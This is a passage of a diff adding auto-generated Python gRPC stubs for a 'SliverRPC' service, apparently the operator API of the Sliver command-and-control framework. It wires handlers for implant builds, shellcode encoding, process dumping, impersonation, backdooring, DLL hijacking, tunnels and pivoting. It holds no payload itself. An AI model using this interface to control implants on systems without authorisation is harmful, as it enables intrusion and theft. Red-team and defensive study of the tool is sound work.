grpc.unary_unary_rpc_method_handler( + servicer.DeleteImplantBuild, + request_deserializer=clientpb_dot_client__pb2.DeleteReq.FromString, + response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + ), + 'Canaries': grpc.unary_unary_rpc_method_handler( + servicer.Canaries, + request_deserializer=commonpb_dot_common__pb2.Empty.FromString, + response_serializer=clientpb_dot_client__pb2.Canaries.SerializeToString, + ), + 'GenerateWGClientConfig': grpc.unary_unary_rpc_method_handler( + servicer.GenerateWGClientConfig, + request_deserializer=commonpb_dot_common__pb2.Empty.FromString, + response_serializer=clientpb_dot_client__pb2.WGClientConfig.SerializeToString, + ), + 'GenerateUniqueIP': grpc.unary_unary_rpc_method_handler( + servicer.GenerateUniqueIP, + request_deserializer=commonpb_dot_common__pb2.Empty.FromString, + response_serializer=clientpb_dot_client__pb2.UniqueWGIP.SerializeToString, + ), + 'ImplantProfiles': grpc.unary_unary_rpc_method_handler( + servicer.ImplantProfiles, + request_deserializer=commonpb_dot_common__pb2.Empty.FromString, + response_serializer=clientpb_dot_client__pb2.ImplantProfiles.SerializeToString, + ), + 'DeleteImplantProfile': grpc.unary_unary_rpc_method_handler( + servicer.DeleteImplantProfile, + request_deserializer=clientpb_dot_client__pb2.DeleteReq.FromString, + response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + ), + 'SaveImplantProfile': grpc.unary_unary_rpc_method_handler( + servicer.SaveImplantProfile, + request_deserializer=clientpb_dot_client__pb2.ImplantProfile.FromString, + response_serializer=clientpb_dot_client__pb2.ImplantProfile.SerializeToString, + ), + 'MsfStage': grpc.unary_unary_rpc_method_handler( + servicer.MsfStage, + request_deserializer=clientpb_dot_client__pb2.MsfStagerReq.FromString, + response_serializer=clientpb_dot_client__pb2.MsfStager.SerializeToString, + ), + 'ShellcodeRDI': grpc.unary_unary_rpc_method_handler( + servicer.ShellcodeRDI, + request_deserializer=clientpb_dot_client__pb2.ShellcodeRDIReq.FromString, + response_serializer=clientpb_dot_client__pb2.ShellcodeRDI.SerializeToString, + ), + 'GetCompiler': grpc.unary_unary_rpc_method_handler( + servicer.GetCompiler, + request_deserializer=commonpb_dot_common__pb2.Empty.FromString, + response_serializer=clientpb_dot_client__pb2.Compiler.SerializeToString, + ), + 'ShellcodeEncoder': grpc.unary_unary_rpc_method_handler( + servicer.ShellcodeEncoder, + request_deserializer=clientpb_dot_client__pb2.ShellcodeEncodeReq.FromString, + response_serializer=clientpb_dot_client__pb2.ShellcodeEncode.SerializeToString, + ), + 'ShellcodeEncoderMap': grpc.unary_unary_rpc_method_handler( + servicer.ShellcodeEncoderMap, + request_deserializer=commonpb_dot_common__pb2.Empty.FromString, + response_serializer=clientpb_dot_client__pb2.ShellcodeEncoderMap.SerializeToString, + ), + 'TrafficEncoderMap': grpc.unary_unary_rpc_method_handler( + servicer.TrafficEncoderMap, + request_deserializer=commonpb_dot_common__pb2.Empty.FromString, + response_serializer=clientpb_dot_client__pb2.TrafficEncoderMap.SerializeToString, + ), + 'TrafficEncoderAdd': grpc.unary_unary_rpc_method_handler( + servicer.TrafficEncoderAdd, + request_deserializer=clientpb_dot_client__pb2.TrafficEncoder.FromString, + response_serializer=clientpb_dot_client__pb2.TrafficEncoderTests.SerializeToString, + ), + 'TrafficEncoderRm': grpc.unary_unary_rpc_method_handler( + servicer.TrafficEncoderRm, + request_deserializer=clientpb_dot_client__pb2.TrafficEncoder.FromString, + response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + ), + 'Websites': grpc.unary_unary_rpc_method_handler( + servicer.Websites, + request_deserializer=commonpb_dot_common__pb2.Empty.FromString, + response_serializer=clientpb_dot_client__pb2.Websites.SerializeToString, + ), + 'Website': grpc.unary_unary_rpc_method_handler( + servicer.Website, + request_deserializer=clientpb_dot_client__pb2.Website.FromString, + response_serializer=clientpb_dot_client__pb2.Website.SerializeToString, + ), + 'WebsiteRemove': grpc.unary_unary_rpc_method_handler( + servicer.WebsiteRemove, + request_deserializer=clientpb_dot_client__pb2.Website.FromString, + response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + ), + 'WebsiteAddContent': grpc.unary_unary_rpc_method_handler( + servicer.WebsiteAddContent, + request_deserializer=clientpb_dot_client__pb2.WebsiteAddContent.FromString, + response_serializer=clientpb_dot_client__pb2.Website.SerializeToString, + ), + 'WebsiteUpdateContent': grpc.unary_unary_rpc_method_handler( + servicer.WebsiteUpdateContent, + request_deserializer=clientpb_dot_client__pb2.WebsiteAddContent.FromString, + response_serializer=clientpb_dot_client__pb2.Website.SerializeToString, + ), + 'WebsiteRemoveContent': grpc.unary_unary_rpc_method_handler( + servicer.WebsiteRemoveContent, + request_deserializer=clientpb_dot_client__pb2.WebsiteRemoveContent.FromString, + response_serializer=clientpb_dot_client__pb2.Website.SerializeToString, + ), + 'Ping': grpc.unary_unary_rpc_method_handler( + servicer.Ping, + request_deserializer=sliverpb_dot_sliver__pb2.Ping.FromString, + response_serializer=sliverpb_dot_sliver__pb2.Ping.SerializeToString, + ), + 'Ps': grpc.unary_unary_rpc_method_handler( + servicer.Ps, + request_deserializer=sliverpb_dot_sliver__pb2.PsReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.Ps.SerializeToString, + ), + 'Terminate': grpc.unary_unary_rpc_method_handler( + servicer.Terminate, + request_deserializer=sliverpb_dot_sliver__pb2.TerminateReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.Terminate.SerializeToString, + ), + 'Ifconfig': grpc.unary_unary_rpc_method_handler( + servicer.Ifconfig, + request_deserializer=sliverpb_dot_sliver__pb2.IfconfigReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.Ifconfig.SerializeToString, + ), + 'Netstat': grpc.unary_unary_rpc_method_handler( + servicer.Netstat, + request_deserializer=sliverpb_dot_sliver__pb2.NetstatReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.Netstat.SerializeToString, + ), + 'Ls': grpc.unary_unary_rpc_method_handler( + servicer.Ls, + request_deserializer=sliverpb_dot_sliver__pb2.LsReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.Ls.SerializeToString, + ), + 'Cd': grpc.unary_unary_rpc_method_handler( + servicer.Cd, + request_deserializer=sliverpb_dot_sliver__pb2.CdReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.Pwd.SerializeToString, + ), + 'Pwd': grpc.unary_unary_rpc_method_handler( + servicer.Pwd, + request_deserializer=sliverpb_dot_sliver__pb2.PwdReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.Pwd.SerializeToString, + ), + 'Mv': grpc.unary_unary_rpc_method_handler( + servicer.Mv, + request_deserializer=sliverpb_dot_sliver__pb2.MvReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.Mv.SerializeToString, + ), + 'Rm': grpc.unary_unary_rpc_method_handler( + servicer.Rm, + request_deserializer=sliverpb_dot_sliver__pb2.RmReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.Rm.SerializeToString, + ), + 'Mkdir': grpc.unary_unary_rpc_method_handler( + servicer.Mkdir, + request_deserializer=sliverpb_dot_sliver__pb2.MkdirReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.Mkdir.SerializeToString, + ), + 'Download': grpc.unary_unary_rpc_method_handler( + servicer.Download, + request_deserializer=sliverpb_dot_sliver__pb2.DownloadReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.Download.SerializeToString, + ), + 'Upload': grpc.unary_unary_rpc_method_handler( + servicer.Upload, + request_deserializer=sliverpb_dot_sliver__pb2.UploadReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.Upload.SerializeToString, + ), + 'Chmod': grpc.unary_unary_rpc_method_handler( + servicer.Chmod, + request_deserializer=sliverpb_dot_sliver__pb2.ChmodReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.Chmod.SerializeToString, + ), + 'Chown': grpc.unary_unary_rpc_method_handler( + servicer.Chown, + request_deserializer=sliverpb_dot_sliver__pb2.ChownReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.Chown.SerializeToString, + ), + 'Chtimes': grpc.unary_unary_rpc_method_handler( + servicer.Chtimes, + request_deserializer=sliverpb_dot_sliver__pb2.ChtimesReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.Chtimes.SerializeToString, + ), + 'MemfilesList': grpc.unary_unary_rpc_method_handler( + servicer.MemfilesList, + request_deserializer=sliverpb_dot_sliver__pb2.MemfilesListReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.Ls.SerializeToString, + ), + 'MemfilesAdd': grpc.unary_unary_rpc_method_handler( + servicer.MemfilesAdd, + request_deserializer=sliverpb_dot_sliver__pb2.MemfilesAddReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.MemfilesAdd.SerializeToString, + ), + 'MemfilesRm': grpc.unary_unary_rpc_method_handler( + servicer.MemfilesRm, + request_deserializer=sliverpb_dot_sliver__pb2.MemfilesRmReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.MemfilesRm.SerializeToString, + ), + 'ProcessDump': grpc.unary_unary_rpc_method_handler( + servicer.ProcessDump, + request_deserializer=sliverpb_dot_sliver__pb2.ProcessDumpReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.ProcessDump.SerializeToString, + ), + 'RunAs': grpc.unary_unary_rpc_method_handler( + servicer.RunAs, + request_deserializer=sliverpb_dot_sliver__pb2.RunAsReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.RunAs.SerializeToString, + ), + 'Impersonate': grpc.unary_unary_rpc_method_handler( + servicer.Impersonate, + request_deserializer=sliverpb_dot_sliver__pb2.ImpersonateReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.Impersonate.SerializeToString, + ), + 'RevToSelf': grpc.unary_unary_rpc_method_handler( + servicer.RevToSelf, + request_deserializer=sliverpb_dot_sliver__pb2.RevToSelfReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.RevToSelf.SerializeToString, + ), + 'GetSystem': grpc.unary_unary_rpc_method_handler( + servicer.GetSystem, + request_deserializer=clientpb_dot_client__pb2.GetSystemReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.GetSystem.SerializeToString, + ), + 'Task': grpc.unary_unary_rpc_method_handler( + servicer.Task, + request_deserializer=sliverpb_dot_sliver__pb2.TaskReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.Task.SerializeToString, + ), + 'Msf': grpc.unary_unary_rpc_method_handler( + servicer.Msf, + request_deserializer=clientpb_dot_client__pb2.MSFReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.Task.SerializeToString, + ), + 'MsfRemote': grpc.unary_unary_rpc_method_handler( + servicer.MsfRemote, + request_deserializer=clientpb_dot_client__pb2.MSFRemoteReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.Task.SerializeToString, + ), + 'ExecuteAssembly': grpc.unary_unary_rpc_method_handler( + servicer.ExecuteAssembly, + request_deserializer=sliverpb_dot_sliver__pb2.ExecuteAssemblyReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.ExecuteAssembly.SerializeToString, + ), + 'Migrate': grpc.unary_unary_rpc_method_handler( + servicer.Migrate, + request_deserializer=clientpb_dot_client__pb2.MigrateReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.Migrate.SerializeToString, + ), + 'Execute': grpc.unary_unary_rpc_method_handler( + servicer.Execute, + request_deserializer=sliverpb_dot_sliver__pb2.ExecuteReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.Execute.SerializeToString, + ), + 'ExecuteWindows': grpc.unary_unary_rpc_method_handler( + servicer.ExecuteWindows, + request_deserializer=sliverpb_dot_sliver__pb2.ExecuteWindowsReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.Execute.SerializeToString, + ), + 'Sideload': grpc.unary_unary_rpc_method_handler( + servicer.Sideload, + request_deserializer=sliverpb_dot_sliver__pb2.SideloadReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.Sideload.SerializeToString, + ), + 'SpawnDll': grpc.unary_unary_rpc_method_handler( + servicer.SpawnDll, + request_deserializer=sliverpb_dot_sliver__pb2.InvokeSpawnDllReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.SpawnDll.SerializeToString, + ), + 'Screenshot': grpc.unary_unary_rpc_method_handler( + servicer.Screenshot, + request_deserializer=sliverpb_dot_sliver__pb2.ScreenshotReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.Screenshot.SerializeToString, + ), + 'CurrentTokenOwner': grpc.unary_unary_rpc_method_handler( + servicer.CurrentTokenOwner, + request_deserializer=sliverpb_dot_sliver__pb2.CurrentTokenOwnerReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.CurrentTokenOwner.SerializeToString, + ), + 'PivotStartListener': grpc.unary_unary_rpc_method_handler( + servicer.PivotStartListener, + request_deserializer=sliverpb_dot_sliver__pb2.PivotStartListenerReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.PivotListener.SerializeToString, + ), + 'PivotStopListener': grpc.unary_unary_rpc_method_handler( + servicer.PivotStopListener, + request_deserializer=sliverpb_dot_sliver__pb2.PivotStopListenerReq.FromString, + response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + ), + 'PivotSessionListeners': grpc.unary_unary_rpc_method_handler( + servicer.PivotSessionListeners, + request_deserializer=sliverpb_dot_sliver__pb2.PivotListenersReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.PivotListeners.SerializeToString, + ), + 'PivotGraph': grpc.unary_unary_rpc_method_handler( + servicer.PivotGraph, + request_deserializer=commonpb_dot_common__pb2.Empty.FromString, + response_serializer=clientpb_dot_client__pb2.PivotGraph.SerializeToString, + ), + 'StartService': grpc.unary_unary_rpc_method_handler( + servicer.StartService, + request_deserializer=sliverpb_dot_sliver__pb2.StartServiceReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.ServiceInfo.SerializeToString, + ), + 'StopService': grpc.unary_unary_rpc_method_handler( + servicer.StopService, + request_deserializer=sliverpb_dot_sliver__pb2.StopServiceReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.ServiceInfo.SerializeToString, + ), + 'RemoveService': grpc.unary_unary_rpc_method_handler( + servicer.RemoveService, + request_deserializer=sliverpb_dot_sliver__pb2.RemoveServiceReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.ServiceInfo.SerializeToString, + ), + 'MakeToken': grpc.unary_unary_rpc_method_handler( + servicer.MakeToken, + request_deserializer=sliverpb_dot_sliver__pb2.MakeTokenReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.MakeToken.SerializeToString, + ), + 'GetEnv': grpc.unary_unary_rpc_method_handler( + servicer.GetEnv, + request_deserializer=sliverpb_dot_sliver__pb2.EnvReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.EnvInfo.SerializeToString, + ), + 'SetEnv': grpc.unary_unary_rpc_method_handler( + servicer.SetEnv, + request_deserializer=sliverpb_dot_sliver__pb2.SetEnvReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.SetEnv.SerializeToString, + ), + 'UnsetEnv': grpc.unary_unary_rpc_method_handler( + servicer.UnsetEnv, + request_deserializer=sliverpb_dot_sliver__pb2.UnsetEnvReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.UnsetEnv.SerializeToString, + ), + 'Backdoor': grpc.unary_unary_rpc_method_handler( + servicer.Backdoor, + request_deserializer=clientpb_dot_client__pb2.BackdoorReq.FromString, + response_serializer=clientpb_dot_client__pb2.Backdoor.SerializeToString, + ), + 'RegistryRead': grpc.unary_unary_rpc_method_handler( + servicer.RegistryRead, + request_deserializer=sliverpb_dot_sliver__pb2.RegistryReadReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.RegistryRead.SerializeToString, + ), + 'RegistryWrite': grpc.unary_unary_rpc_method_handler( + servicer.RegistryWrite, + request_deserializer=sliverpb_dot_sliver__pb2.RegistryWriteReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.RegistryWrite.SerializeToString, + ), + 'RegistryCreateKey': grpc.unary_unary_rpc_method_handler( + servicer.RegistryCreateKey, + request_deserializer=sliverpb_dot_sliver__pb2.RegistryCreateKeyReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.RegistryCreateKey.SerializeToString, + ), + 'RegistryDeleteKey': grpc.unary_unary_rpc_method_handler( + servicer.RegistryDeleteKey, + request_deserializer=sliverpb_dot_sliver__pb2.RegistryDeleteKeyReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.RegistryDeleteKey.SerializeToString, + ), + 'RegistryListSubKeys': grpc.unary_unary_rpc_method_handler( + servicer.RegistryListSubKeys, + request_deserializer=sliverpb_dot_sliver__pb2.RegistrySubKeyListReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.RegistrySubKeyList.SerializeToString, + ), + 'RegistryListValues': grpc.unary_unary_rpc_method_handler( + servicer.RegistryListValues, + request_deserializer=sliverpb_dot_sliver__pb2.RegistryListValuesReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.RegistryValuesList.SerializeToString, + ), + 'RunSSHCommand': grpc.unary_unary_rpc_method_handler( + servicer.RunSSHCommand, + request_deserializer=sliverpb_dot_sliver__pb2.SSHCommandReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.SSHCommand.SerializeToString, + ), + 'HijackDLL': grpc.unary_unary_rpc_method_handler( + servicer.HijackDLL, + request_deserializer=clientpb_dot_client__pb2.DllHijackReq.FromString, + response_serializer=clientpb_dot_client__pb2.DllHijack.SerializeToString, + ), + 'GetPrivs': grpc.unary_unary_rpc_method_handler( + servicer.GetPrivs, + request_deserializer=sliverpb_dot_sliver__pb2.GetPrivsReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.GetPrivs.SerializeToString, + ), + 'StartRportFwdListener': grpc.unary_unary_rpc_method_handler( + servicer.StartRportFwdListener, + request_deserializer=sliverpb_dot_sliver__pb2.RportFwdStartListenerReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.RportFwdListener.SerializeToString, + ), + 'GetRportFwdListeners': grpc.unary_unary_rpc_method_handler( + servicer.GetRportFwdListeners, + request_deserializer=sliverpb_dot_sliver__pb2.RportFwdListenersReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.RportFwdListeners.SerializeToString, + ), + 'StopRportFwdListener': grpc.unary_unary_rpc_method_handler( + servicer.StopRportFwdListener, + request_deserializer=sliverpb_dot_sliver__pb2.RportFwdStopListenerReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.RportFwdListener.SerializeToString, + ), + 'OpenSession': grpc.unary_unary_rpc_method_handler( + servicer.OpenSession, + request_deserializer=sliverpb_dot_sliver__pb2.OpenSession.FromString, + response_serializer=sliverpb_dot_sliver__pb2.OpenSession.SerializeToString, + ), + 'CloseSession': grpc.unary_unary_rpc_method_handler( + servicer.CloseSession, + request_deserializer=sliverpb_dot_sliver__pb2.CloseSession.FromString, + response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + ), + 'RegisterExtension': grpc.unary_unary_rpc_method_handler( + servicer.RegisterExtension, + request_deserializer=sliverpb_dot_sliver__pb2.RegisterExtensionReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.RegisterExtension.SerializeToString, + ), + 'CallExtension': grpc.unary_unary_rpc_method_handler( + servicer.CallExtension, + request_deserializer=sliverpb_dot_sliver__pb2.CallExtensionReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.CallExtension.SerializeToString, + ), + 'ListExtensions': grpc.unary_unary_rpc_method_handler( + servicer.ListExtensions, + request_deserializer=sliverpb_dot_sliver__pb2.ListExtensionsReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.ListExtensions.SerializeToString, + ), + 'RegisterWasmExtension': grpc.unary_unary_rpc_method_handler( + servicer.RegisterWasmExtension, + request_deserializer=sliverpb_dot_sliver__pb2.RegisterWasmExtensionReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.RegisterWasmExtension.SerializeToString, + ), + 'ListWasmExtensions': grpc.unary_unary_rpc_method_handler( + servicer.ListWasmExtensions, + request_deserializer=sliverpb_dot_sliver__pb2.ListWasmExtensionsReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.ListWasmExtensions.SerializeToString, + ), + 'ExecWasmExtension': grpc.unary_unary_rpc_method_handler( + servicer.ExecWasmExtension, + request_deserializer=sliverpb_dot_sliver__pb2.ExecWasmExtensionReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.ExecWasmExtension.SerializeToString, + ), + 'WGStartPortForward': grpc.unary_unary_rpc_method_handler( + servicer.WGStartPortForward, + request_deserializer=sliverpb_dot_sliver__pb2.WGPortForwardStartReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.WGPortForward.SerializeToString, + ), + 'WGStopPortForward': grpc.unary_unary_rpc_method_handler( + servicer.WGStopPortForward, + request_deserializer=sliverpb_dot_sliver__pb2.WGPortForwardStopReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.WGPortForward.SerializeToString, + ), + 'WGStartSocks': grpc.unary_unary_rpc_method_handler( + servicer.WGStartSocks, + request_deserializer=sliverpb_dot_sliver__pb2.WGSocksStartReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.WGSocks.SerializeToString, + ), + 'WGStopSocks': grpc.unary_unary_rpc_method_handler( + servicer.WGStopSocks, + request_deserializer=sliverpb_dot_sliver__pb2.WGSocksStopReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.WGSocks.SerializeToString, + ), + 'WGListForwarders': grpc.unary_unary_rpc_method_handler( + servicer.WGListForwarders, + request_deserializer=sliverpb_dot_sliver__pb2.WGTCPForwardersReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.WGTCPForwarders.SerializeToString, + ), + 'WGListSocksServers': grpc.unary_unary_rpc_method_handler( + servicer.WGListSocksServers, + request_deserializer=sliverpb_dot_sliver__pb2.WGSocksServersReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.WGSocksServers.SerializeToString, + ), + 'Shell': grpc.unary_unary_rpc_method_handler( + servicer.Shell, + request_deserializer=sliverpb_dot_sliver__pb2.ShellReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.Shell.SerializeToString, + ), + 'Portfwd': grpc.unary_unary_rpc_method_handler( + servicer.Portfwd, + request_deserializer=sliverpb_dot_sliver__pb2.PortfwdReq.FromString, + response_serializer=sliverpb_dot_sliver__pb2.Portfwd.SerializeToString, + ), + 'CreateSocks': grpc.unary_unary_rpc_method_handler( + servicer.CreateSocks, + request_deserializer=sliverpb_dot_sliver__pb2.Socks.FromString, + response_serializer=sliverpb_dot_sliver__pb2.Socks.SerializeToString, + ), + 'CloseSocks': grpc.unary_unary_rpc_method_handler( + servicer.CloseSocks, + request_deserializer=sliverpb_dot_sliver__pb2.Socks.FromString, + response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + ), + 'SocksProxy': grpc.stream_stream_rpc_method_handler( + servicer.SocksProxy, + request_deserializer=sliverpb_dot_sliver__pb2.SocksData.FromString, + response_serializer=sliverpb_dot_sliver__pb2.SocksData.SerializeToString, + ), + 'CreateTunnel': grpc.unary_unary_rpc_method_handler( + servicer.CreateTunnel, + request_deserializer=sliverpb_dot_sliver__pb2.Tunnel.FromString, + response_serializer=sliverpb_dot_sliver__pb2.Tunnel.SerializeToString, + ), + 'CloseTunnel': grpc.unary_unary_rpc_method_handler( + servicer.CloseTunnel, + request_deserializer=sliverpb_dot_sliver__pb2.Tunnel.FromString, + response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString, + ), + 'TunnelData': grpc.stream_stream_rpc_method_handler( + servicer.TunnelData, + request_deserializer=sliverpb_dot_sliver__pb2.TunnelData.FromString, + response_serializer=sliverpb_dot_sliver__pb2.TunnelData.SerializeToString, + ), + 'Events': grpc.unary_stream_rpc_method_handler( + servicer.Events, + request_deserializer=commonpb_dot_common__pb2.Empty.FromString, + response_serializer=clientpb_dot_client__pb2.Event.SerializeToString, + ), + } + generic_handler = grpc.method_handlers_generic_handler( + 'rpcpb.SliverRPC', rpc_method_handlers) + server.add_generic_rpc_handlers((generic_handler,)) + + + # This class is part of an EXPERIMENTAL API. +class SliverRPC(object): + """Missing associated documentation comment in .proto file.""" + + @staticmethod + def GetVersion(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GetVersion', + commonpb_dot_common__pb2.Empty.SerializeToString, + clientpb_dot_client__pb2.Version.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def ClientConsoleLog(request_iterator, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.stream_unary(request_iterator, target, '/rpcpb.SliverRPC/ClientConsoleLog', + clientpb_dot_client__pb2.ClientConsoleLogData.SerializeToString, + commonpb_dot_common__pb2.Empty.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def GetOperators(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GetOperators', + commonpb_dot_common__pb2.Empty.SerializeToString, + clientpb_dot_client__pb2.Operators.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Kill(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Kill', + sliverpb_dot_sliver__pb2.KillReq.SerializeToString, + commonpb_dot_common__pb2.Empty.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Reconfigure(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Reconfigure', + sliverpb_dot_sliver__pb2.ReconfigureReq.SerializeToString, + sliverpb_dot_sliver__pb2.Reconfigure.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Rename(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/Rename', + clientpb_dot_client__pb2.RenameReq.SerializeToString, + commonpb_dot_common__pb2.Empty.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def GetSessions(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GetSessions', + commonpb_dot_common__pb2.Empty.SerializeToString, + clientpb_dot_client__pb2.Sessions.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def GetBeacons(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GetBeacons', + commonpb_dot_common__pb2.Empty.SerializeToString, + clientpb_dot_client__pb2.Beacons.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def GetBeacon(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GetBeacon', + clientpb_dot_client__pb2.Beacon.SerializeToString, + clientpb_dot_client__pb2.Beacon.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def RmBeacon(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/RmBeacon', + clientpb_dot_client__pb2.Beacon.SerializeToString, + commonpb_dot_common__pb2.Empty.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def GetBeaconTasks(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GetBeaconTasks', + clientpb_dot_client__pb2.Beacon.SerializeToString, + clientpb_dot_client__pb2.BeaconTasks.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def GetBeaconTaskContent(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/rpcpb.SliverRPC/GetBeaconTaskContent', + clientpb_dot_client__pb2.BeaconTask.SerializeToString, + clientpb_dot_client__pb2.BeaconTask.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def CancelBeaconTask(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, 